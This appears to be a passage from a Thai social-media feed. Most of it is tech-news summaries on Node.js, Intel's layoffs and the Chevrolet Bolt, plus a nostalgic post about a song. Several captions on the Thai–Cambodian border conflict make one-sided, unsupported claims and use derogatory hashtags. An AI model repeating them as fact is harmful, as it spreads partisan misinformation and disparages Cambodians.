• เรื่องเล่าจากข่าว: Node.js 2025 – จาก CommonJS สู่โลกใหม่ที่สะอาดกว่าและฉลาดกว่า

    ในปี 2025 Node.js ได้เปลี่ยนโฉมไปอย่างมากจากยุคที่เต็มไปด้วย callback และ require แบบ CommonJS สู่ยุคใหม่ที่ใช้ ES Modules (ESM) เป็นมาตรฐาน พร้อมรองรับฟีเจอร์ระดับเว็บเบราว์เซอร์ เช่น fetch API และ top-level await โดยไม่ต้องพึ่งพาไลบรารีภายนอกอีกต่อไป

    การเปลี่ยนแปลงนี้ไม่ใช่แค่เรื่อง syntax แต่เป็นการปรับแนวคิดการพัฒนาให้สอดคล้องกับมาตรฐานเว็บสมัยใหม่ ทำให้โค้ดสะอาดขึ้น เข้าใจง่ายขึ้น และลดความซับซ้อนในการจัดการ dependency

    นอกจากนี้ Node.js ยังนำเสนอแนวทางใหม่ในการจัดการกับ asynchronous data ผ่าน async iteration และการใช้ Proxy-based observables เพื่อสร้างระบบ reactive โดยไม่ต้องพึ่ง state management ที่ยุ่งยาก

    ES Modules (ESM) กลายเป็นมาตรฐานใหม่แทน CommonJS
    ใช้ import/export แทน require/module.exports
    รองรับ static analysis และ tree-shaking ได้ดีขึ้น

    ใช้ node: prefix เพื่อแยก built-in modules ออกจาก npm packages
    เช่น import { readFile } from 'node:fs/promises'
    ลดความสับสนและเพิ่มความชัดเจนในการจัดการ dependency

    รองรับ top-level await โดยไม่ต้องใช้ async wrapper function
    ทำให้โค้ด initialization ง่ายขึ้นและอ่านง่ายขึ้น
    เหมาะกับการโหลด config หรือข้อมูลก่อนเริ่มเซิร์ฟเวอร์

    Fetch API ถูกนำมาใช้ใน Node.js โดยไม่ต้องติดตั้ง axios หรือ node-fetch
    รองรับการเรียก HTTP แบบ native
    มีฟีเจอร์ timeout และ cancellation ในตัว

    แนวคิด async iteration และ for-await-of กลายเป็นมาตรฐานในการจัดการ stream
    เหมาะกับ real-time data และ paginated APIs
    ลดการพึ่งพาไลบรารีภายนอก

    Proxy-based observables เริ่มได้รับความนิยมในการสร้างระบบ reactive
    ใช้ JavaScript Proxy เพื่อสังเกตการเปลี่ยนแปลงของ state
    ลด boilerplate และไม่ต้องใช้ state management library หนัก ๆ

    Deno กำลังกลายเป็น runtime เสริมที่น่าสนใจควบคู่กับ Node.js
    ใช้ ESM เป็นหลักตั้งแต่ต้น
    มีระบบ permission และ security ที่เข้มงวดกว่า

    Serverless architecture ยังคงนิยมใช้ Node.js เป็นหลักในปี 2025
    รองรับ AWS Lambda, Vercel, Cloudflare Workers
    เหมาะกับแอปพลิเคชันที่ต้องการความเร็วและความยืดหยุ่น

    JavaScript กำลังพัฒนา pattern matching แบบ native
    คล้ายกับ switch statement ที่อ่านง่ายและทรงพลัง
    อยู่ในขั้น proposal แต่เป็นเทรนด์ที่ควรจับตามอง

    https://kashw1n.com/blog/nodejs-2025/
    🎙️ เรื่องเล่าจากข่าว: Node.js 2025 – จาก CommonJS สู่โลกใหม่ที่สะอาดกว่าและฉลาดกว่า ในปี 2025 Node.js ได้เปลี่ยนโฉมไปอย่างมากจากยุคที่เต็มไปด้วย callback และ require แบบ CommonJS สู่ยุคใหม่ที่ใช้ ES Modules (ESM) เป็นมาตรฐาน พร้อมรองรับฟีเจอร์ระดับเว็บเบราว์เซอร์ เช่น fetch API และ top-level await โดยไม่ต้องพึ่งพาไลบรารีภายนอกอีกต่อไป การเปลี่ยนแปลงนี้ไม่ใช่แค่เรื่อง syntax แต่เป็นการปรับแนวคิดการพัฒนาให้สอดคล้องกับมาตรฐานเว็บสมัยใหม่ ทำให้โค้ดสะอาดขึ้น เข้าใจง่ายขึ้น และลดความซับซ้อนในการจัดการ dependency นอกจากนี้ Node.js ยังนำเสนอแนวทางใหม่ในการจัดการกับ asynchronous data ผ่าน async iteration และการใช้ Proxy-based observables เพื่อสร้างระบบ reactive โดยไม่ต้องพึ่ง state management ที่ยุ่งยาก ✅ ES Modules (ESM) กลายเป็นมาตรฐานใหม่แทน CommonJS ➡️ ใช้ import/export แทน require/module.exports ➡️ รองรับ static analysis และ tree-shaking ได้ดีขึ้น ✅ ใช้ node: prefix เพื่อแยก built-in modules ออกจาก npm packages ➡️ เช่น import { readFile } from 'node:fs/promises' ➡️ ลดความสับสนและเพิ่มความชัดเจนในการจัดการ dependency ✅ รองรับ top-level await โดยไม่ต้องใช้ async wrapper function ➡️ ทำให้โค้ด initialization ง่ายขึ้นและอ่านง่ายขึ้น ➡️ เหมาะกับการโหลด config หรือข้อมูลก่อนเริ่มเซิร์ฟเวอร์ ✅ Fetch API ถูกนำมาใช้ใน Node.js โดยไม่ต้องติดตั้ง axios หรือ node-fetch ➡️ รองรับการเรียก HTTP แบบ native ➡️ มีฟีเจอร์ timeout และ cancellation ในตัว ✅ แนวคิด async iteration และ for-await-of กลายเป็นมาตรฐานในการจัดการ stream ➡️ เหมาะกับ real-time data และ paginated APIs ➡️ ลดการพึ่งพาไลบรารีภายนอก ✅ Proxy-based observables เริ่มได้รับความนิยมในการสร้างระบบ reactive ➡️ ใช้ JavaScript Proxy เพื่อสังเกตการเปลี่ยนแปลงของ state ➡️ ลด boilerplate และไม่ต้องใช้ state management library หนัก ๆ ✅ Deno กำลังกลายเป็น runtime เสริมที่น่าสนใจควบคู่กับ Node.js ➡️ ใช้ ESM เป็นหลักตั้งแต่ต้น ➡️ มีระบบ permission และ security ที่เข้มงวดกว่า ✅ Serverless architecture ยังคงนิยมใช้ Node.js เป็นหลักในปี 2025 ➡️ รองรับ AWS Lambda, Vercel, Cloudflare Workers ➡️ เหมาะกับแอปพลิเคชันที่ต้องการความเร็วและความยืดหยุ่น ✅ JavaScript กำลังพัฒนา pattern matching แบบ native ➡️ คล้ายกับ switch statement ที่อ่านง่ายและทรงพลัง ➡️ อยู่ในขั้น proposal แต่เป็นเทรนด์ที่ควรจับตามอง https://kashw1n.com/blog/nodejs-2025/
    0 ความคิดเห็น 0 การแบ่งปัน 10 มุมมอง 0 รีวิว
  • เรื่องเล่าจากข่าว: เมื่อ Intel ลดพนักงาน ส่งผลสะเทือนถึงโลกของ Linux

    ในปี 2025 Intel ได้ประกาศลดจำนวนพนักงานครั้งใหญ่ภายใต้การนำของ CEO คนใหม่ Lip-Bu Tan ซึ่งส่งผลกระทบโดยตรงต่อการพัฒนาไดรเวอร์ใน Linux kernel โดยเฉพาะในส่วนที่เกี่ยวข้องกับฮาร์ดแวร์ของ Intel เช่น GPU, Ethernet, และ CPU microcode ที่เคยมีทีมงานเฉพาะดูแลอย่างใกล้ชิด

    การลดทีมงานทำให้เกิดความล่าช้าในการแก้บั๊ก การทดสอบฮาร์ดแวร์รุ่นใหม่ และการพัฒนาเทคโนโลยีใหม่ ๆ ของ Intel ที่จะรองรับใน Linux kernel รุ่นถัดไป นอกจากนี้ยังมีไดรเวอร์บางตัวที่ถูกประกาศว่า “orphaned” หรือไม่มีผู้ดูแลแล้ว เช่น Slim Bootloader firmware update driver ซึ่งเป็นส่วนสำคัญในการอัปเดตเฟิร์มแวร์ของแพลตฟอร์ม Intel x86

    แม้จะมีความกังวล แต่ชุมชน Linux ก็ยังคงมีความแข็งแกร่ง โดยมีนักพัฒนาอิสระและบริษัทอื่น ๆ เช่น Red Hat, SUSE, Canonical เข้ามาช่วยดูแลไดรเวอร์ที่ขาดผู้ดูแล พร้อมทั้งใช้โครงสร้างแบบ modular และ framework ที่ช่วยลดการพึ่งพาไดรเวอร์เฉพาะจากผู้ผลิต

    Intel ลดจำนวนพนักงานในปี 2025 ส่งผลต่อการพัฒนา Linux kernel driver
    ส่งผลให้การแก้บั๊กและการรองรับฮาร์ดแวร์ใหม่ล่าช้า
    กระทบต่อการพัฒนาเทคโนโลยีใหม่ของ Intel ใน Linux

    ไดรเวอร์บางตัวถูกประกาศว่า orphaned เช่น Slim Bootloader firmware update driver
    ไม่มีผู้ดูแลที่มีความเชี่ยวชาญเหลืออยู่ในทีม
    อาจส่งผลต่อการอัปเดตเฟิร์มแวร์ของแพลตฟอร์ม Intel x86

    ชุมชน Linux และบริษัทอื่น ๆ เข้ามาช่วยดูแลไดรเวอร์ที่ขาดผู้ดูแล
    ใช้กระบวนการ maintainer transition เพื่อเปลี่ยนผู้ดูแล
    บริษัทเช่น Red Hat, SUSE, Canonical มีทีม kernel ของตัวเอง

    Linux kernel มีโครงสร้างแบบ modular ที่ช่วยให้การพัฒนาไม่หยุดชะงัก
    สามารถเปลี่ยนผู้ดูแลหรือปรับโครงสร้างได้ตามสถานการณ์
    มี framework ที่ช่วยลดการพึ่งพาไดรเวอร์เฉพาะจากผู้ผลิต

    ผู้ใช้ควรติดตามการเปลี่ยนแปลงใน MAINTAINERS file และ kernel mailing list
    เพื่อรู้ว่าไดรเวอร์ใดเปลี่ยนผู้ดูแล
    ควรทดสอบฮาร์ดแวร์ของตนเองเมื่ออัปเดต kernel

    การลดทีมงานของ Intel อาจทำให้การรองรับฮาร์ดแวร์ใหม่ล่าช้า
    ผู้ใช้ที่ใช้ฮาร์ดแวร์ Intel รุ่นใหม่อาจต้องรอนานกว่าจะมีไดรเวอร์ใน kernel
    อาจต้องใช้ kernel รุ่นพิเศษหรือ patch เองในบางกรณี

    ไดรเวอร์ที่ไม่มีผู้ดูแลอาจมีช่องโหว่หรือไม่รองรับ kernel รุ่นใหม่
    เสี่ยงต่อความไม่เสถียรหรือปัญหาด้านความปลอดภัย
    ต้องพึ่งพาชุมชนหรือบริษัทอื่นในการดูแล

    การถอนตัวจากโครงการ Clear Linux แสดงถึงการลดบทบาทของ Intel ในโลก open-source
    อาจส่งผลต่อความเชื่อมั่นของนักพัฒนาและผู้ใช้
    ลดโอกาสในการพัฒนาเทคโนโลยีที่เน้น Linux โดยเฉพาะ

    องค์กรที่ใช้ฮาร์ดแวร์ Intel ควรพิจารณาการ compile kernel เองเพื่อควบคุมไดรเวอร์
    โดยเฉพาะในระบบ enterprise ที่ต้องการความเสถียรสูง
    ต้องมีทีมเทคนิคที่เข้าใจการจัดการ kernel และ driver

    https://linuxconfig.org/intel-layoffs-impact-linux-kernel-driver-development-what-you-need-to-know
    🎙️ เรื่องเล่าจากข่าว: เมื่อ Intel ลดพนักงาน ส่งผลสะเทือนถึงโลกของ Linux ในปี 2025 Intel ได้ประกาศลดจำนวนพนักงานครั้งใหญ่ภายใต้การนำของ CEO คนใหม่ Lip-Bu Tan ซึ่งส่งผลกระทบโดยตรงต่อการพัฒนาไดรเวอร์ใน Linux kernel โดยเฉพาะในส่วนที่เกี่ยวข้องกับฮาร์ดแวร์ของ Intel เช่น GPU, Ethernet, และ CPU microcode ที่เคยมีทีมงานเฉพาะดูแลอย่างใกล้ชิด การลดทีมงานทำให้เกิดความล่าช้าในการแก้บั๊ก การทดสอบฮาร์ดแวร์รุ่นใหม่ และการพัฒนาเทคโนโลยีใหม่ ๆ ของ Intel ที่จะรองรับใน Linux kernel รุ่นถัดไป นอกจากนี้ยังมีไดรเวอร์บางตัวที่ถูกประกาศว่า “orphaned” หรือไม่มีผู้ดูแลแล้ว เช่น Slim Bootloader firmware update driver ซึ่งเป็นส่วนสำคัญในการอัปเดตเฟิร์มแวร์ของแพลตฟอร์ม Intel x86 แม้จะมีความกังวล แต่ชุมชน Linux ก็ยังคงมีความแข็งแกร่ง โดยมีนักพัฒนาอิสระและบริษัทอื่น ๆ เช่น Red Hat, SUSE, Canonical เข้ามาช่วยดูแลไดรเวอร์ที่ขาดผู้ดูแล พร้อมทั้งใช้โครงสร้างแบบ modular และ framework ที่ช่วยลดการพึ่งพาไดรเวอร์เฉพาะจากผู้ผลิต ✅ Intel ลดจำนวนพนักงานในปี 2025 ส่งผลต่อการพัฒนา Linux kernel driver ➡️ ส่งผลให้การแก้บั๊กและการรองรับฮาร์ดแวร์ใหม่ล่าช้า ➡️ กระทบต่อการพัฒนาเทคโนโลยีใหม่ของ Intel ใน Linux ✅ ไดรเวอร์บางตัวถูกประกาศว่า orphaned เช่น Slim Bootloader firmware update driver ➡️ ไม่มีผู้ดูแลที่มีความเชี่ยวชาญเหลืออยู่ในทีม ➡️ อาจส่งผลต่อการอัปเดตเฟิร์มแวร์ของแพลตฟอร์ม Intel x86 ✅ ชุมชน Linux และบริษัทอื่น ๆ เข้ามาช่วยดูแลไดรเวอร์ที่ขาดผู้ดูแล ➡️ ใช้กระบวนการ maintainer transition เพื่อเปลี่ยนผู้ดูแล ➡️ บริษัทเช่น Red Hat, SUSE, Canonical มีทีม kernel ของตัวเอง ✅ Linux kernel มีโครงสร้างแบบ modular ที่ช่วยให้การพัฒนาไม่หยุดชะงัก ➡️ สามารถเปลี่ยนผู้ดูแลหรือปรับโครงสร้างได้ตามสถานการณ์ ➡️ มี framework ที่ช่วยลดการพึ่งพาไดรเวอร์เฉพาะจากผู้ผลิต ✅ ผู้ใช้ควรติดตามการเปลี่ยนแปลงใน MAINTAINERS file และ kernel mailing list ➡️ เพื่อรู้ว่าไดรเวอร์ใดเปลี่ยนผู้ดูแล ➡️ ควรทดสอบฮาร์ดแวร์ของตนเองเมื่ออัปเดต kernel ‼️ การลดทีมงานของ Intel อาจทำให้การรองรับฮาร์ดแวร์ใหม่ล่าช้า ⛔ ผู้ใช้ที่ใช้ฮาร์ดแวร์ Intel รุ่นใหม่อาจต้องรอนานกว่าจะมีไดรเวอร์ใน kernel ⛔ อาจต้องใช้ kernel รุ่นพิเศษหรือ patch เองในบางกรณี ‼️ ไดรเวอร์ที่ไม่มีผู้ดูแลอาจมีช่องโหว่หรือไม่รองรับ kernel รุ่นใหม่ ⛔ เสี่ยงต่อความไม่เสถียรหรือปัญหาด้านความปลอดภัย ⛔ ต้องพึ่งพาชุมชนหรือบริษัทอื่นในการดูแล ‼️ การถอนตัวจากโครงการ Clear Linux แสดงถึงการลดบทบาทของ Intel ในโลก open-source ⛔ อาจส่งผลต่อความเชื่อมั่นของนักพัฒนาและผู้ใช้ ⛔ ลดโอกาสในการพัฒนาเทคโนโลยีที่เน้น Linux โดยเฉพาะ ‼️ องค์กรที่ใช้ฮาร์ดแวร์ Intel ควรพิจารณาการ compile kernel เองเพื่อควบคุมไดรเวอร์ ⛔ โดยเฉพาะในระบบ enterprise ที่ต้องการความเสถียรสูง ⛔ ต้องมีทีมเทคนิคที่เข้าใจการจัดการ kernel และ driver https://linuxconfig.org/intel-layoffs-impact-linux-kernel-driver-development-what-you-need-to-know
    LINUXCONFIG.ORG
    Intel Layoffs Impact Linux Kernel Driver Development: What You Need to Know
    Intel's workforce reductions may affect Linux kernel drivers, raising concerns over hardware support and compatibility. Discover what this means for development and communities.
    0 ความคิดเห็น 0 การแบ่งปัน 7 มุมมอง 0 รีวิว
  • อ.ปานเทพเผย จุดอ่อนฮุนเซนคือเรื่องนี้!! (3/8/68)
    Professor Panthep reveals Hun Sen’s weakness — this is it!

    #TruthFromThailand
    #CambodiaNoCeasefire
    #Hunsenfiredfirst
    #กัมพูชายิงก่อน
    #เปิดโปงความจริง
    #CambodianDeception
    #Thaitimes #News1 #Shorts
    อ.ปานเทพเผย จุดอ่อนฮุนเซนคือเรื่องนี้!! (3/8/68) Professor Panthep reveals Hun Sen’s weakness — this is it! #TruthFromThailand #CambodiaNoCeasefire #Hunsenfiredfirst #กัมพูชายิงก่อน #เปิดโปงความจริง #CambodianDeception #Thaitimes #News1 #Shorts
    0 ความคิดเห็น 0 การแบ่งปัน 88 มุมมอง 0 0 รีวิว
  • เปิดภาพให้โลกรู้ ทัพสหรัฐจับมือเขมร ก่อนเริ่มถล่มไทยเพียงไม่กี่วัน! (3/8/68)
    Revealed to the world: U.S. military joins hands with Cambodia—just days before striking Thailand!

    #TruthFromThailand
    #CambodiaNoCeasefire
    #Hunsenfiredfirst
    #กัมพูชายิงก่อน
    #USCambodiaAlly
    #เปิดโปงความจริง
    #Thaitimes #News1 #Shorts
    เปิดภาพให้โลกรู้ ทัพสหรัฐจับมือเขมร ก่อนเริ่มถล่มไทยเพียงไม่กี่วัน! (3/8/68) Revealed to the world: U.S. military joins hands with Cambodia—just days before striking Thailand! #TruthFromThailand #CambodiaNoCeasefire #Hunsenfiredfirst #กัมพูชายิงก่อน #USCambodiaAlly #เปิดโปงความจริง #Thaitimes #News1 #Shorts
    0 ความคิดเห็น 0 การแบ่งปัน 91 มุมมอง 0 0 รีวิว
  • เพจดังเปิดหลักฐานเขมร+พระ ใช้วัดเป็นโล่! (3/8/68)
    Top page exposes evidence: Cambodians and monks using temples as shields against Thai retaliation

    #TruthFromThailand
    #CambodiaNoCeasefire
    #Hunsenfiredfirst
    #CambodianDeception
    #กัมพูชายิงก่อน
    #ใช้วัดเป็นโล่
    #อย่าเอาศาสนามาอ้าง
    #News1 #Shorts
    เพจดังเปิดหลักฐานเขมร+พระ ใช้วัดเป็นโล่! (3/8/68) Top page exposes evidence: Cambodians and monks using temples as shields against Thai retaliation #TruthFromThailand #CambodiaNoCeasefire #Hunsenfiredfirst #CambodianDeception #กัมพูชายิงก่อน #ใช้วัดเป็นโล่ #อย่าเอาศาสนามาอ้าง #News1 #Shorts
    0 ความคิดเห็น 0 การแบ่งปัน 84 มุมมอง 0 0 รีวิว
  • เย็นวันอาทิตย์ กับเสียงเพลงที่ไม่มีวันจาง – I Like Chopin

    ลุงยังจำได้ดี... หน้าร้อนช่วงหนึ่งของวัยเด็ก ในเย็นวันอาทิตย์ที่แสงแดดเริ่มอ่อนลง เสียงจั๊กจั่นเงียบลงไปทีละตัว สายลมจากพัดลมโต๊ะตัวเก่าๆ หมุนวนอย่างช้าๆ พ่อมักจะเปิดวิทยุทรานซิสเตอร์ที่ต่อกับเครื่องเสียงของแกที่ซื้อมาประกอบเอง

    ทุกวันอาทิตย์ช่วงเย็น พ่อจะหมุนหาคลื่นวิทยุที่เปิดเพลงจากต่างประเทศ แนวที่เขาชอบมักเป็นเพลงสากลนุ่มๆ จากยุค 70s หรือ 80s และในบรรดาเพลงเหล่านั้น มีอยู่เพลงหนึ่งที่ยังฝังอยู่ในความทรงจำของผมเสมอ...

    "Raining Days .. Never Say "Goodbye"...

    เสียงเปียโนเบาๆ ดังขึ้นพร้อมเสียงร้องของนักร้องชายที่ผมตอนนั้นยังไม่รู้จักชื่อ รู้แค่ว่ามันไพเราะเหลือเกิน จนผมนั่งนิ่งอยู่ตรงพื้นเย็นๆ ฟังด้วยหัวใจเบาๆ เหมือนโลกเงียบไปทั้งใบ และมีแค่เสียงเพลงนี้ลอยอยู่ในอากาศ

    พ่อหันมายิ้ม แล้วพูดว่า
    “เพลงนี้ชื่อ I Like Chopin – เพราะดีนะ... เหมือนฟังเปียโนตอนฝนตก”

    วันนั้นเป็นครั้งแรกที่ลุงรู้จักชื่อ Gazebo ชื่อนี้แปลกสำหรับเด็กไทยอย่างลุง แต่ความแปลกก็ยิ่งทำให้ลุงจำได้ เพลงนี้เป็นของศิลปินลูกครึ่งอิตาลี-อเมริกัน ที่ชื่อจริงคือ Paul Mazzolini แต่ลุงเรียกเขาตามที่วิทยุบอกว่า “กาเซโบ”

    ภายหลังเมื่อลุงโตขึ้น ได้รู้ว่าเพลงนี้ออกมาในปี 1983 เป็นผลงานที่ทำร่วมกับโปรดิวเซอร์ชื่อดัง Pierluigi Giombini และแม้ชื่อเพลงจะบอกว่า “ฉันชอบโชแปง” แต่มันไม่ได้ใช้บทเพลงของโชแปงจริงๆ — เพียงแต่สร้างบรรยากาศเหงาและคลาสสิกเหมือนนั่งฟังเปียโนกลางสายฝนเย็น

    เพลงนี้เคย ขึ้นอันดับ 1 ในหลายประเทศทั่วโลก
    มียอดขายทะลุกว่า 8 ล้านแผ่น
    กลายเป็นตำนานของแนวเพลง Italo Disco
    และยังมีคนนำมา คัฟเวอร์และรีมิกซ์ อยู่เรื่อยๆ จนถึงปัจจุบัน

    กว่า 20 ปีผ่านไป ลุงเจอเพลงนี้อีกครั้งใน Youtube ตอนปลายทศวรรษ 2000 เสียงเปียโนในอินโทรยังคงเหมือนเดิมไม่เปลี่ยน เสียงร้องยังคงห่อหุ้มความทรงจำของลุงเอาไว้อย่างแผ่วเบา

    มันไม่ใช่แค่เพลงสากลเพลงหนึ่ง แต่มันคือหนึ่งใน ภาพจำของวัยเยาว์ ที่รวมเอากลิ่นหน้าร้อน แสงเย็นของวันอาทิตย์ เสียงพ่อหรี่พัดลมให้เบา และความสงบของบ้านหลังเก่าเอาไว้ในท่วงทำนองเดียว

    วันนี้ แม้ลุงจะเปิดเพลงจาก Spotify ผ่านลำโพงไร้สายที่ทันสมัย แต่ใจลุงก็ยังลอยกลับไปในเย็นวันนั้นเสมอ... วันที่ “I Like Chopin” ดังผ่านชุดวิทยุเครื่องเสียงของพ่อ และได้รู้จักความสวยงามของเสียงดนตรี... เป็นครั้งแรกในชีวิต

    #ลุงเล่าหลานฟัง

    https://youtu.be/Dtrgwqei7ww
    ☀️ เย็นวันอาทิตย์ กับเสียงเพลงที่ไม่มีวันจาง – I Like Chopin ลุงยังจำได้ดี... หน้าร้อนช่วงหนึ่งของวัยเด็ก ในเย็นวันอาทิตย์ที่แสงแดดเริ่มอ่อนลง เสียงจั๊กจั่นเงียบลงไปทีละตัว สายลมจากพัดลมโต๊ะตัวเก่าๆ หมุนวนอย่างช้าๆ พ่อมักจะเปิดวิทยุทรานซิสเตอร์ที่ต่อกับเครื่องเสียงของแกที่ซื้อมาประกอบเอง ทุกวันอาทิตย์ช่วงเย็น พ่อจะหมุนหาคลื่นวิทยุที่เปิดเพลงจากต่างประเทศ แนวที่เขาชอบมักเป็นเพลงสากลนุ่มๆ จากยุค 70s หรือ 80s และในบรรดาเพลงเหล่านั้น มีอยู่เพลงหนึ่งที่ยังฝังอยู่ในความทรงจำของผมเสมอ... 🔖 "Raining Days .. Never Say "Goodbye"... 🎵 เสียงเปียโนเบาๆ ดังขึ้นพร้อมเสียงร้องของนักร้องชายที่ผมตอนนั้นยังไม่รู้จักชื่อ รู้แค่ว่ามันไพเราะเหลือเกิน จนผมนั่งนิ่งอยู่ตรงพื้นเย็นๆ ฟังด้วยหัวใจเบาๆ เหมือนโลกเงียบไปทั้งใบ และมีแค่เสียงเพลงนี้ลอยอยู่ในอากาศ พ่อหันมายิ้ม แล้วพูดว่า “เพลงนี้ชื่อ I Like Chopin – เพราะดีนะ... เหมือนฟังเปียโนตอนฝนตก” วันนั้นเป็นครั้งแรกที่ลุงรู้จักชื่อ Gazebo ชื่อนี้แปลกสำหรับเด็กไทยอย่างลุง แต่ความแปลกก็ยิ่งทำให้ลุงจำได้ เพลงนี้เป็นของศิลปินลูกครึ่งอิตาลี-อเมริกัน ที่ชื่อจริงคือ Paul Mazzolini แต่ลุงเรียกเขาตามที่วิทยุบอกว่า “กาเซโบ” ภายหลังเมื่อลุงโตขึ้น ได้รู้ว่าเพลงนี้ออกมาในปี 1983 เป็นผลงานที่ทำร่วมกับโปรดิวเซอร์ชื่อดัง Pierluigi Giombini และแม้ชื่อเพลงจะบอกว่า “ฉันชอบโชแปง” แต่มันไม่ได้ใช้บทเพลงของโชแปงจริงๆ — เพียงแต่สร้างบรรยากาศเหงาและคลาสสิกเหมือนนั่งฟังเปียโนกลางสายฝนเย็น 🎵 เพลงนี้เคย ขึ้นอันดับ 1 ในหลายประเทศทั่วโลก 🎵 มียอดขายทะลุกว่า 8 ล้านแผ่น 🎵 กลายเป็นตำนานของแนวเพลง Italo Disco 🎵 และยังมีคนนำมา คัฟเวอร์และรีมิกซ์ อยู่เรื่อยๆ จนถึงปัจจุบัน กว่า 20 ปีผ่านไป ลุงเจอเพลงนี้อีกครั้งใน Youtube ตอนปลายทศวรรษ 2000 เสียงเปียโนในอินโทรยังคงเหมือนเดิมไม่เปลี่ยน เสียงร้องยังคงห่อหุ้มความทรงจำของลุงเอาไว้อย่างแผ่วเบา มันไม่ใช่แค่เพลงสากลเพลงหนึ่ง แต่มันคือหนึ่งใน ภาพจำของวัยเยาว์ ที่รวมเอากลิ่นหน้าร้อน แสงเย็นของวันอาทิตย์ เสียงพ่อหรี่พัดลมให้เบา และความสงบของบ้านหลังเก่าเอาไว้ในท่วงทำนองเดียว วันนี้ แม้ลุงจะเปิดเพลงจาก Spotify ผ่านลำโพงไร้สายที่ทันสมัย แต่ใจลุงก็ยังลอยกลับไปในเย็นวันนั้นเสมอ... วันที่ “I Like Chopin” ดังผ่านชุดวิทยุเครื่องเสียงของพ่อ และได้รู้จักความสวยงามของเสียงดนตรี... เป็นครั้งแรกในชีวิต #ลุงเล่าหลานฟัง https://youtu.be/Dtrgwqei7ww
    0 ความคิดเห็น 0 การแบ่งปัน 100 มุมมอง 0 รีวิว
  • ลุงเขมรไม่ทน แฉเองระบอบ “ฮุน” ฮุนเซนเครือญาติรวย ปชช.เขมรถูกทอดทิ้ง (2/8/68)
    Uncle Khmer cannot tolerate it, reveals the regime of “Hun” — Hun Sen and his relatives are rich, while the Khmer people are being abandoned.

    #TruthFromThailand
    #CambodiaNoCeasefire
    #Hunsenfiredfirst
    #CambodianDeception
    #กัมพูชายิงก่อน
    #Scambodia
    #KhmerVoices
    #ExposeHunRegime
    #ข่าวด่วนชายแดน
    #News1 #Shorts
    ลุงเขมรไม่ทน แฉเองระบอบ “ฮุน” ฮุนเซนเครือญาติรวย ปชช.เขมรถูกทอดทิ้ง (2/8/68) Uncle Khmer cannot tolerate it, reveals the regime of “Hun” — Hun Sen and his relatives are rich, while the Khmer people are being abandoned. #TruthFromThailand #CambodiaNoCeasefire #Hunsenfiredfirst #CambodianDeception #กัมพูชายิงก่อน #Scambodia #KhmerVoices #ExposeHunRegime #ข่าวด่วนชายแดน #News1 #Shorts
    0 ความคิดเห็น 0 การแบ่งปัน 107 มุมมอง 0 0 รีวิว
  • เรื่องเล่าจากข่าว: Bolt กลับมาแล้ว—EV ราคาประหยัดที่อเมริกาต้องการ ในวันที่ตลาดกำลังชะลอตัว

    Chevrolet ประกาศรีดีไซน์ Bolt EV สำหรับปี 2027 โดยใช้พอร์ตชาร์จแบบ NACS (North American Charging Standard) ซึ่งเป็นมาตรฐานเดียวกับ Tesla ทำให้ผู้ใช้สามารถเข้าถึงเครือข่าย Supercharger ได้โดยไม่ต้องใช้อะแดปเตอร์

    นอกจากดีไซน์ใหม่ที่ดูสปอร์ตขึ้นและไฟท้ายที่ปรับปรุงจากเสียงบ่นของผู้ใช้เดิม Bolt รุ่นใหม่ยังใช้แบตเตอรี่แบบ LFP (ลิเธียม-เหล็ก-ฟอสเฟต) ที่มีต้นทุนต่ำและอายุการใช้งานยาวนานกว่าเดิม

    ในขณะที่ Bolt กลับมาอย่างมั่นใจ Mercedes-Benz และ Porsche กลับต้องลดราคาหรือชะลอการส่งมอบ EV บางรุ่น เพราะยอดขายในอเมริกาชะลอตัว และผู้บริโภคยังมองว่า EV ส่วนใหญ่ “แพงเกินไป” โดยเฉพาะเมื่อเทียบกับรายได้เฉลี่ย

    Chevrolet Bolt EV รุ่นใหม่จะเปิดตัวในปี 2027 พร้อมพอร์ตชาร์จแบบ NACS
    เป็น EV รุ่นแรกของ Chevy ที่ใช้พอร์ต Tesla โดยตรง
    เข้าถึงเครือข่าย Supercharger ได้ทันที

    ใช้แบตเตอรี่ LFP ที่มีต้นทุนต่ำและอายุการใช้งานยาวนาน
    ช่วยให้ราคาขายต่ำกว่า $30,000 ได้
    ยังไม่มีตัวเลขระยะทางวิ่งที่แน่นอน

    ดีไซน์ใหม่มีไฟหน้า LED แบบบาง, ล้ออัลลอยใหม่ และไฟท้ายที่ปรับปรุงจากเสียงผู้ใช้เดิม
    ดูสปอร์ตและทันสมัยขึ้น
    ยังใช้แพลตฟอร์ม BEV2 เดิมแต่ปรับปรุงภายใน

    Mercedes-Benz ลดราคาหลายรุ่นในกลุ่ม EQ และชะลอการส่งมอบบางรุ่นเพื่อควบคุมสต็อก
    สะท้อนความต้องการ EV ที่ลดลงในอเมริกา
    Porsche ก็ลดเป้าหมายรายได้จากผลกระทบของภาษีการค้า

    ตลาด EV ในอเมริกายังต้องการรถราคาประหยัดเพื่อกระตุ้นการใช้งานในวงกว้าง
    Nissan Leaf และ Hyundai Kona Electric ยังเป็นตัวเลือกที่เข้าถึงได้
    แต่หลายรุ่นยังมีราคาสูงกว่า $40,000

    NACS กลายเป็นมาตรฐานใหม่ของอเมริกา โดยผู้ผลิตหลายรายเริ่มเปลี่ยนมาใช้แทน CCS
    เช่น Ford, Hyundai, GM และ Rivian
    ช่วยให้เครือข่ายชาร์จมีความเป็นหนึ่งเดียว

    แบตเตอรี่ LFP มีข้อดีคือราคาถูกและปลอดภัย แต่มีพลังงานต่อหน่วยต่ำกว่า NMC
    เหมาะกับรถราคาประหยัดและใช้งานในเมือง
    ไม่เหมาะกับรถที่ต้องการระยะทางวิ่งไกลมาก

    ตลาด EV ในจีนมีรถราคาต่ำกว่า $10,000 ที่ขายดีมาก เช่น BYD Seagull
    สหรัฐฯ ยังไม่มีรถระดับนี้ในตลาด
    Bolt อาจเป็นตัวแทนของ EV ราคาประหยัดในอเมริกา

    Bolt รุ่นใหม่ยังไม่มีข้อมูลระยะทางวิ่งที่แน่นอนจากแบตเตอรี่ LFP
    อาจต่ำกว่าคู่แข่งที่ใช้แบตเตอรี่ NMC
    ต้องรอการทดสอบจริงก่อนตัดสินใจซื้อ

    การใช้แพลตฟอร์ม BEV2 เดิมอาจจำกัดการพัฒนาเทคโนโลยีใหม่ในระยะยาว
    ไม่รองรับระบบขับเคลื่อนอัตโนมัติระดับสูง
    อาจไม่ทันกับคู่แข่งที่ใช้แพลตฟอร์มใหม่ทั้งหมด

    การพึ่งพาพอร์ต NACS อาจทำให้ผู้ใช้ต้องปรับพฤติกรรมการชาร์จ หากเคยใช้ CCS มาก่อน
